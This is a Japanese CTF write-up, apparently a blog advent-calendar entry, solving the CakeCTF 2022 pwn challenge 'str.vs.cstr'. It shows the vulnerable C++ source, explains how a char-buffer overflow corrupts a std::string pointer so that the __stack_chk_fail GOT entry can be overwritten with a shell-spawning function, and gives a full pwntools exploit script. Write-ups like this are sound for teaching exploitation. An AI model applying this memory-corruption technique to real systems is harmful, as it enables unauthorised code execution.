はじめに
この記事は 1日1CTF Advent Calendar 2024 の 3 日目の記事です。
問題
str.vs.cstr (問題出典: CakeCTF 2022)
Which do you like, C string or C++ string?
リポジトリ: https://github.com/theoremoon/cakectf2022-public/tree/master/pwn/str_vs_cstr
なお、AlpacaHack で過去問として解くこともできる。
問題概要
char[0x20]
( c_str
) と std::string
( str
) が配置された構造体 Test
がある。2 つの文字列について任意の書き込み・読み込みが行えるので call_me
関数を呼び出せればクリア。
#include <array>
#include <iostream>
struct Test {
Test() { std::fill(_c_str, _c_str + 0x20, 0); }
char* c_str() { return _c_str; }
std::string& str() { return _str; }
private:
__attribute__((used))
void call_me() {
std::system("/bin/sh");
}
char _c_str[0x20];
std::string _str;
};
int main() {
Test test;
std::setbuf(stdin, NULL);
std::setbuf(stdout, NULL);
std::cout << "1. set c_str" << std::endl
<< "2. get c_str" << std::endl
<< "3. set str" << std::endl
<< "4. get str" << std::endl;
while (std::cin.good()) {
int choice = 0;
std::cout << "choice: ";
std::cin >> choice;
switch (choice) {
case 1: // set c_str
std::cout << "c_str: ";
std::cin >> test.c_str();
break;
case 2: // get c_str
std::cout << "c_str: " << test.c_str() << std::endl;
break;
case 3: // set str
std::cout << "str: ";
std::cin >> test.str();
break;
case 4: // get str
std::cout << "str: " << test.str() << std::endl;
break;
default: // otherwise exit
std::cout << "bye!" << std::endl;
return 0;
}
}
return 1;
}
PIE が無効、しかも Partial RELRO で嬉しい。
Canary : Enabled
NX : Enabled
PIE : Disabled (0x400000)
RELRO : Partial RELRO
Fortify : Not found
考察
ptr-yudai さんの記事 によれば、std::string
の構造は次のようになっているらしい。
+00h: <データへのポインタ>
+08h: <データのサイズ>
+10h: <データ領域の容量>あるいは<データ本体+0h>
+18h: <未使用>あるいは<データ本体+8h>
これを踏まえ、c_str
に AAAAAAAA
を、 str
に BBBBBBBB
を書き込んだときの stack の様子を見てみよう。
c_str
の書き込み時に、バッファオーバーフローを起こすことで、str
のデータへのポインタを破壊できそう。
あとは、str
のデータへのポインタを __stack_chk_fail
の GOT のアドレスに書き換えて、その状態で str
に call_me
のアドレスを書き込めば、__stack_chk_fail
の GOT を call_me
にできる。
あとはもう一度バッファオーバーフローでカナリアを破壊した後に適当に関数を抜ければ、__stack_chk_fail
の代わりに call_me
を呼び出せる… と思ったが、__stack_chk_fail
が呼び出される前にプログラムが落ちてしまった。
デバッグして原因を調べると、Test
のデストラクタが呼ばれる際、 str
のデータへのポインタに対して free() が呼び出されてしまっていた。しょうがないので最後に str
のデータへのポインタを null
にしてあげると OK 。
solver
from pwn import *
import sys
################################################
# context.log_level = "DEBUG"
FILENAME = "./chall"
LIBCNAME = ""
host = "localhost"
port = 1337
################################################
context(os="linux", arch="amd64")
binf = ELF(FILENAME)
libc = ELF(LIBCNAME) if LIBCNAME != "" else None
if len(sys.argv) > 1:
if sys.argv[1][0] == "d":
cmd = """
set follow-fork-mode parent
"""
io = gdb.debug(FILENAME, cmd)
elif sys.argv[1][0] == "r":
io = remote(host, port)
else:
io = process(FILENAME)
io.recvuntil(b"choice: ")
io.sendline(b"1")
io.recvuntil(b"c_str: ")
io.sendline(b"A" * 0x20 + p64(0x404058)) # str のデータのポインタを __stack_chk_fail の GOT に書き換える
io.recvuntil(b"choice: ")
io.sendline(b"3")
io.recvuntil(b"str: ")
io.sendline(p64(0x4016DE)) # __stack_chk_fail の GOT に call_me のアドレスを書き込む
io.recvuntil(b"choice: ")
io.sendline(b"1")
io.recvuntil(b"c_str: ")
io.sendline(b"A" * 0x20 + p64(0) + b"A" * 0x40) # str のデータのポインタを null に + canary を破壊
io.recvuntil(b"choice: ")
io.sendline(b"-1") # return 0 させるためなので何でもいい
io.interactive()
flag: CakeCTF{HW1: Remove "call_me" and solve it / HW2: Set PIE+RELRO and solve it}
フラグに宿題が書いてあった。ということで、明日の記事に続く。